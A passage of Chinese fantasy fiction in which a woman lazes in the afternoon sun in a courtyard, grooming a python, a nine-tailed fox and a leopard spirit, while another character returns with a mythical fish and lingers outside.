刚退了两步,却被一只手从肚子底下一兜,稳稳当当给他揣了起来,放在膝上。咪已自动下楼,跑草坪里扑蝴蝶去了。 樊也什么也没说,只是让他饼一样趴着,从背部开始。仿佛理所应当,积习难改。时间也蒙蒙地转,转着转着,窸窣有什么从地上爬过来,卷过腿,又上了腰。樊也拍拍蛇头,他不说话,偶尔嘶嘶两声,仿佛只陪着她晒太阳。 后来也是听闻凳子呻吟,扛不住轮胎似的蟒蛇和九根尾巴的狐狸。樊也只好都抱起来,自己一屁股坐进草里。正是午后,树阴底下的日头晒得人困困化了。几只都有点想睡。懒懒的,一点儿也不愿多动,梳子掉了,也拾不起来,人也不愿坐了,躺在地上枕着蛇,手指头一下下耙着狐狸。 高高的太阳,树阴就那么一星儿,仿佛几人都不愿挨一点晒,非得在一块搅和,洗衣机里,不分你我。樊也远远摸到根貂皮领子似的尾巴,明知是谁,却也不说。不顾他微末的反抗,把尾巴在腕上挽一圈,一扽,眼睛也不睁,只听“唔叽”一声,拽进怀里,摸到梳子就揉弄着欺负。他敢说什么?豹豹只当自己能装成猫猫或胡久为呢。 樊也有种强抢民女的背德感。黑暗中,分明是错认了,却谁都不说,装着没错的样子牵起手,大气也不敢出地,怕破了这心照不宣的泡泡。 谛听的黑暗中,只回荡着樊也心音:没有什么是睡一觉解决不了的。 贺途回来的时候,看到的就是这样一副阖家欢乐的景象。他拎着刚从北海打来的何罗鱼,想告诉樊也,这是他吃过口感最好的肉。但他却站在院子外面。